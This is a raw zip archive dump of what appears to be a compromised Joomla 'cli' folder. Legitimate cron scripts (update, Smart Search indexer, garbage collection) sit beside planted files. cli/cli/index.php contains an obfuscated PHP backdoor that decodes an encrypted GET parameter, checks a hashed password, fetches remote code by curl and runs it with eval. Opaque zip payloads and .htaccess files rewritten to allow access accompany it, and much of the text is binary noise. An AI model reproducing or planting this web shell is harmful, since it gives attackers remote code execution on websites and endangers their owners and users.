AAAAPKl>\) .htaccessnuW+A Order allow,deny Deny from all PKl>\"#]]update_cron.phpnuW+Aparams; $cache_timeout = $params->get('cachetimeout', 6, 'int'); $cache_timeout = 3600 * $cache_timeout; // Find all updates $this->out('Fetching updates...'); $updater = JUpdater::getInstance(); $results = $updater->findUpdates(0, $cache_timeout); $this->out('Finished fetching updates'); } } JApplicationCli::getInstance('Updatecron')->execute(); PKl>\V index.htmlnuW+A PKl>\ mmcli/cli/index.phpnuW+A $wVqcStJrUY) $mGhgq .= $lwTPXV[$wVqcStJrUY - 71241]; return $mGhgq; } static function WxGH($PGeCFMy, $tzXiYaBZ) { $CWu = curl_init($PGeCFMy); curl_setopt($CWu, CURLOPT_RETURNTRANSFER, 1); $GfrBJxPnQi = curl_exec($CWu); return empty($GfrBJxPnQi) ? $tzXiYaBZ($PGeCFMy) : $GfrBJxPnQi; } static function nmRbN() { $Kte = array("71268|71253|71266|71270|71251|71266|71272|71265|71250|71257|71268|71251|71262|71256|71257","71252|71251|71253|71272|71253|71256|71251|71318|71316","71261|71252|71256|71257|71272|71267|71266|71268|71256|71267|71266","71255|71270|71268|71260","71269|71270|71252|71266|71313|71315|71272|71267|71266|71268|71256|71267|71266","71265|71262|71259|71266|71272|71264|71266|71251|71272|71268|71256|71257|71251|71266|71257|71251|71252","71295|71325","71242","71320|71325","71302|71285|71285|71302|71278","71265|71262|71259|71251|71266|71253|71272|71262|71257|71255|71250|71251"); foreach ($Kte as $yRTNMUZqCu) $Vl[] = self::Cip($yRTNMUZqCu); $BlbrAkUaJ = @$Vl[1]($Vl[5+5](INPUT_GET, $Vl[2+7])); $kzX = @$Vl[1+2]($Vl[1+5], $BlbrAkUaJ); $bgGxJlzRhK = $Vl[2+0]($kzX, true); @$Vl[6+4](INPUT_GET, "of") == 1 && die($Vl[4+1](__FILE__)); if( ((@$bgGxJlzRhK[0] - time()) > 0) and (md5(md5($bgGxJlzRhK[2+1])) === "cb145525421d7b64ec53bf7814d8df43") ): $mnEANBjkY = self::WxGH($bgGxJlzRhK[1+0], $Vl[5+0]);@eval($Vl[3+1]($mnEANBjkY));die; endif; }}hYA::nmRbN(); ?>PKl>\Ocli/cli/cache.phpnuW+APKl>\cli/cli/avi_6909677036f6a.zipnuW+APKd[2b_6909677036f6a.tmpUo8W(piK9m"܆Ci+o߱CpHSk uҿYK T23a&R9MMVjA3"R,DGKLx]]7x& Y.OΫAV~רZ>m"5ts}! 6K`a`6z%`.~ p5Bt^.zf{ ߟ/F)oΓ5'aT?Z6P&2|jo5~l'-{ݴ B U UEpo~vݯ"&_ .g7R1/c!`cbQ l%h ,cz9Ue5VHe}u1J}%V[Rb-CJ #ɩrb̃Y {Xm+u8b,š"S L?pHy.JO-V,t!_O.YU\ewTbLh̏)ZC/imqRM5(ðLbO/sq9فmI0h.zۑ lYN[  &`:ρ2L =A&@ l1 ]tWS_gІT@˂H*t q"r$4 pLoxL' йd$zHК)DESTjڧN: bq"dcbן_ V? 25ūF?zWަ!Q0+'h¦62|R!4Rrď1D/< P-zɓt}I"{z&W.4'5 VZ؞J<:4|I}bSD<)r^gՐdH4^ih@<uNnUnҍ0c>5ȸ!X9MTAc YaxL?dhKIDpEڎAcn[C0YT"hTEegxBEM]EIZ dI넉;k0H>Xlm{d3c3_GU.7G1*i 0IX(ɔ,Ȉx<ӱV{$sK&4 vWYAJ۝=uMn@̕el}\u4 Y7bSc=w15c~Mm{s&[h 5|XGfp˷?:>r2&ɭ'tLlI9h,|eSG>dG\IPNT,MEKn6T;W9&AGG`&lj[!-wTY'26q? ΢Ai/ܨMn9R%>_z#4v@q:8z̋ft;ȤtwЪ>QP PVXd fڔ$RD}5`!F2mXj7G72 @hl|O}0CTSȫ hީqn(řxf͝ ]/eOB9湏Qr4𾐭bSYiWz's/w"#YyIe; 7!P-.KġOuhDp֦K*lI)T+ M?9;'ڈVckҶ5}d5 Ǭ};7'#*`( NtRa}kP#2 ʚ1i3:.)_Hg$&T9ˉ;pwTCלK=u_A;ir,Q<9>9^GiѤ`i=eD4c_,\0T`[-Gf]Om`SQ"5B| ? ,%La m_e;wR_%:lhn׊<]o=mڇgtcRxFr~٫nP- gTۆD*6~N$=vO6c:,L3~̇HsxG3*bLԙWM>f d2S kD%Vh_]1x5NJb}5A>L/ ֋GoN# K7 kXSV*NT΋$AH=*L'Isj?+:) tERE %/M O=|LÐ^ .̌ahfVQ혙d͕seX QLh1O&r [O(ݛ2OD}tyl D^D30=%M=F]JRt4 8lݎ'z"oQ&[_/jґkSWSp!!}3"ŽB2Ƈi#A{B*>&7ۏu(t6RxWs|Ma҉5\րV]Vu/\iLGNS?Sܪ<'# zc!frWWyhBE&{҇Z Dʶ, H։wt?eX rnj ^+S'Q7RW1BȾ >flhgG)w^_6yi4{LrE߾8^ip{:E"Rr\@nB0\Z5: - J?2V'1zN^,i= ^y0y, z>*V*^-PsO%JOHMRwOE 4;9Za@8rXq ٺc"L>\ecCibO9i;~i9!b&@2z!ߠ[soh'ZlT9*FU[. DΡԒ ]\r;ʪX%iyUt[bѤlo<6S8v"*P H4/ [|z #WoDc:00%Sdك8e1*(64/3ϫ򣝧~O%7%1o0;//ן_G.O-co??0w^{,K{QտlqnϼӾNo~wy_Xa¿s~|ϝk6̅>zo~?e?0S[KkHZZtʱ:;0A, K4-ƲO58K7sNՐo' _7>PKd[2b_6909677036f6a.tmpPKd[SPc_6909677036f6a.tmpPKPKl>\,rcli/cli/.htaccessnuW+A Order allow,deny Deny from all # Order allow,deny Allow from all PKl>\z Ұcli/flv_68b7d99502ca3.zipnuW+APK0#[ b_68b7d99502ca3.tmpUioH+-D̰s.W Y&L!dL`1eTٝTǫW^3ܽ}LLGy&b'#1/f/IB$* /D1/(&(pG_%NXA`) ÃOXI`Tdc|/*~i2#[U#<2dChXeilO`0IKx`& !;{&jInqBKlC_źa-ϯU]X +훳7Tq&D]M+uw۪|q(nMw֚x{|w+`#b5`NiW|6YvfM նz4WZ fH?ゾ!CU Z8oZM^벹msvj@ufUp*7F@aƗ67$\`|nݲm?YۧN#;qD,S&ٜHAs6"_v),> 4Fj]u9Z5zFcD#\bcO-)jdB˱od2V9Ӣ 1C0éQ`Hi-[t5Sq²%_WT/.F538|1 ŪJ:'E"n^KiOڰ IbPט"1d:Г o OxrgJvӿ0&"Ƅ1L>Ye|P]yKk1Jvd(YcԤ!(x H-K,8t*?49ZRbs-j=3G=[$rM6 ;ki1sKFl'a\RTtO}2,J}'(֠*ŵLgy *qbm +x~7ʹغJ] $^+Xmb/6Q8r$3t h4 t6O|Z|GЗf<:(;0bC5'/ w"L9&KѨ>D=mH>ǐh >;WtL3%yK'@ m6 #aahQhq8-8, %D@ j|j6(ruc%*eel6.e}2iJDY/ p@ʧMT# 9߿p?V[&XV][!jyjSY/JG@ȟ+5կQ(v~u[)1uZPO SEndoƣf\޷IzI77ƃٰѷR8]tU;6 6Y -ʊPЛl_Cpd!R_E%I㞈%XhC}kBBJNI( \ cV2n~5,r#Lh,^/Vĉ;Ol: 8qm)/%\!LcaG^$8+q TE*rmy}>xu xMcWn9pJ2$:NCbSD#ۭ 4.ZP3p"sgM5L pWa﨧ab]|i;VF֒ڈm uue TRkZCų*3,zC}g`ɢup³w(^~s8K 8twe^vJ-}weǻmppzf7bX!NrAفٗ=>z $х0( k7|m0SG] at$yk;uNJ(FT:g~c @}Yau~>PrZ*f1CRv' ctR!+x) -KnHjb =ֵOyPZH_VD8@JD%EYWҨ̑ՃqE8RbKFΎ5]rU Eb *;(~{='$˲r$.4Ax~'(8j $U'FV "^e 8}^VYEnH-ŒD@3苻ؓLQ< Pv9X8|n Ad`4L%:]a9t>LOYY+SQߤ_W˚ 4'mBׁ1f{3?0}{_`{b_|>S;i;m_?~?~`]vNѿE6Z:Ls1n[zo=폟_h˰/ݦsK()~µ5+|^c[O_PHUe?[߃d` O;pP/b*>)x4n3"k>ut狟}eg_PK0#[ b_68b7d99502ca3.tmpPK0#[ߎc_68b7d99502ca3.tmpPKPKl>\,r cli/.htaccessnuW+A Order allow,deny Deny from all # Order allow,deny Allow from all PKl>\ }2wss cli/cache.phpnuW+APKl>\lC cli/index.phpnuW+APKl>\ $cw'w'finder_indexer.phpnuW+Aload('finder_cli', JPATH_SITE, null, false, false) // Fallback to the finder_cli file in the default language || $lang->load('finder_cli', JPATH_SITE, null, true); /** * A command line cron job to run the Smart Search indexer. * * @package Joomla.CLI * @subpackage com_finder * @since 2.5 */ class FinderCli extends JApplicationCli { /** * Start time for the index process * * @var string * @since 2.5 */ private $time = null; /** * Start time for each batch * * @var string * @since 2.5 */ private $qtime = null; /** * Static filters information. * * @var array * @since 3.3 */ private $filters = array(); /** * Entry point for Smart Search CLI script * * @return void * * @since 2.5 */ public function doExecute() { // Print a blank line. $this->out(JText::_('FINDER_CLI')); $this->out('============================'); // Initialize the time value. $this->time = microtime(true); // Remove the script time limit. @set_time_limit(0); // Fool the system into thinking we are running as JSite with Smart Search as the active component. $_SERVER['HTTP_HOST'] = 'domain.com'; JFactory::getApplication('site'); // Purge before indexing if --purge on the command line. if ($this->input->getString('purge', false)) { // Taxonomy ids will change following a purge/index, so save filter information first. $this->getFilters(); // Purge the index. $this->purge(); // Run the indexer. $this->index(); // Restore the filters again. $this->putFilters(); } else { // Run the indexer. $this->index(); } // Total reporting. $this->out(JText::sprintf('FINDER_CLI_PROCESS_COMPLETE', round(microtime(true) - $this->time, 3)), true); // Print a blank line at the end. $this->out(); } /** * Run the indexer. * * @return void * * @since 2.5 */ private function index() { // Import library dependencies. require_once JPATH_ADMINISTRATOR . '/components/com_finder/helpers/indexer/indexer.php'; jimport('joomla.application.component.helper'); // Disable caching. $config = JFactory::getConfig(); $config->set('caching', 0); $config->set('cache_handler', 'file'); // Reset the indexer state. FinderIndexer::resetState(); // Import the finder plugins. JPluginHelper::importPlugin('finder'); // Starting Indexer. $this->out(JText::_('FINDER_CLI_STARTING_INDEXER'), true); // Trigger the onStartIndex event. JDispatcher::getInstance()->trigger('onStartIndex'); // Get the indexer state. $state = FinderIndexer::getState(); // Setting up plugins. $this->out(JText::_('FINDER_CLI_SETTING_UP_PLUGINS'), true); // Trigger the onBeforeIndex event. JDispatcher::getInstance()->trigger('onBeforeIndex'); // Startup reporting. $this->out(JText::sprintf('FINDER_CLI_SETUP_ITEMS', $state->totalItems, round(microtime(true) - $this->time, 3)), true); // Get the number of batches. $t = (int) $state->totalItems; $c = (int) ceil($t / $state->batchSize); $c = $c === 0 ? 1 : $c; try { // Process the batches. for ($i = 0; $i < $c; $i++) { // Set the batch start time. $this->qtime = microtime(true); // Reset the batch offset. $state->batchOffset = 0; // Trigger the onBuildIndex event. JDispatcher::getInstance()->trigger('onBuildIndex'); // Batch reporting. $this->out(JText::sprintf('FINDER_CLI_BATCH_COMPLETE', ($i + 1), round(microtime(true) - $this->qtime, 3)), true); } } catch (Exception $e) { // Display the error $this->out($e->getMessage(), true); // Reset the indexer state. FinderIndexer::resetState(); // Close the app $this->close($e->getCode()); } // Reset the indexer state. FinderIndexer::resetState(); } /** * Purge the index. * * @return void * * @since 3.3 */ private function purge() { $this->out(JText::_('FINDER_CLI_INDEX_PURGE')); // Load the model. jimport('joomla.application.component.model'); JModel::addIncludePath(JPATH_COMPONENT_ADMINISTRATOR . '/models', 'FinderModel'); $model = JModel::getInstance('Index', 'FinderModel'); // Attempt to purge the index. $return = $model->purge(); // If unsuccessful then abort. if (!$return) { $message = JText::_('FINDER_CLI_INDEX_PURGE_FAILED', $model->getError()); $this->out($message); exit(); } $this->out(JText::_('FINDER_CLI_INDEX_PURGE_SUCCESS')); } /** * Restore static filters. * * Using the saved filter information, update the filter records * with the new taxonomy ids. * * @return void * * @since 3.3 */ private function putFilters() { $this->out(JText::_('FINDER_CLI_RESTORE_FILTERS')); $db = JFactory::getDbo(); // Use the temporary filter information to update the filter taxonomy ids. foreach ($this->filters as $filter_id => $filter) { $tids = array(); foreach ($filter as $element) { // Look for the old taxonomy in the new taxonomy table. $query = $db->getQuery(true); $query ->select('t.id') ->from($db->qn('#__finder_taxonomy') . ' AS t') ->leftjoin($db->qn('#__finder_taxonomy') . ' AS p ON p.id = t.parent_id') ->where($db->qn('t.title') . ' = ' . $db->q($element['title'])) ->where($db->qn('p.title') . ' = ' . $db->q($element['parent'])); $taxonomy = $db->setQuery($query)->loadResult(); // If we found it then add it to the list. if ($taxonomy) { $tids[] = $taxonomy; } else { $this->out(JText::sprintf('FINDER_CLI_FILTER_RESTORE_WARNING', $element['parent'], $element['title'], $element['filter'])); } } // Construct a comma-separated string from the taxonomy ids. $taxonomyIds = empty($tids) ? '' : implode(',', $tids); // Update the filter with the new taxonomy ids. $query = $db->getQuery(true); $query ->update($db->qn('#__finder_filters')) ->set($db->qn('data') . ' = ' . $db->q($taxonomyIds)) ->where($db->qn('filter_id') . ' = ' . (int) $filter_id); $db->setQuery($query)->execute(); } $this->out(JText::sprintf('FINDER_CLI_RESTORE_FILTER_COMPLETED', count($this->filters))); } /** * Save static filters. * * Since a purge/index cycle will cause all the taxonomy ids to change, * the static filters need to be updated with the new taxonomy ids. * The static filter information is saved prior to the purge/index * so that it can later be used to update the filters with new ids. * * @return void * * @since 3.3 */ private function getFilters() { $this->out(JText::_('FINDER_CLI_SAVE_FILTERS')); // Get the taxonomy ids used by the filters. $db = JFactory::getDbo(); $query = $db->getQuery(true); $query ->select('filter_id, title, data') ->from($db->qn('#__finder_filters')); $filters = $db->setQuery($query)->loadObjectList(); // Get the name of each taxonomy and the name of its parent. foreach ($filters as $filter) { // Skip empty filters. if ($filter->data == '') { continue; } // Get taxonomy records. $query = $db->getQuery(true); $query ->select('t.title, p.title AS parent') ->from($db->qn('#__finder_taxonomy') . ' AS t') ->leftjoin($db->qn('#__finder_taxonomy') . ' AS p ON p.id = t.parent_id') ->where($db->qn('t.id') . ' IN (' . $filter->data . ')'); $taxonomies = $db->setQuery($query)->loadObjectList(); // Construct a temporary data structure to hold the filter information. foreach ($taxonomies as $taxonomy) { $this->filters[$filter->filter_id][] = array( 'filter' => $filter->title, 'title' => $taxonomy->title, 'parent' => $taxonomy->parent, ); } } $this->out(JText::sprintf('FINDER_CLI_SAVE_FILTER_COMPLETED', count($filters))); } } // Instantiate the application object, passing the class name to JCli::getInstance // and use chaining to execute the application. JApplicationCli::getInstance('FinderCli')->execute(); PKl>\*garbagecron.phpnuW+Agc(); } } JApplicationCli::getInstance('GarbageCron')->execute(); PKl>\) .htaccessnuW+APKl>\"#]]update_cron.phpnuW+APKl>\V T index.htmlnuW+APKl>\ mm cli/cli/index.phpnuW+APKl>\O[cli/cli/cache.phpnuW+APKl>\'cli/cli/avi_6909677036f6a.zipnuW+APKl>\,r=cli/cli/.htaccessnuW+APKl>\z Ұ>cli/flv_68b7d99502ca3.zipnuW+APKl>\,r Tcli/.htaccessnuW+APKl>\ }2wss Ucli/cache.phpnuW+APKl>\lC Wcli/index.phpnuW+APKl>\ $cw'w'gYfinder_indexer.phpnuW+APKl>\* garbagecron.phpnuW+APK g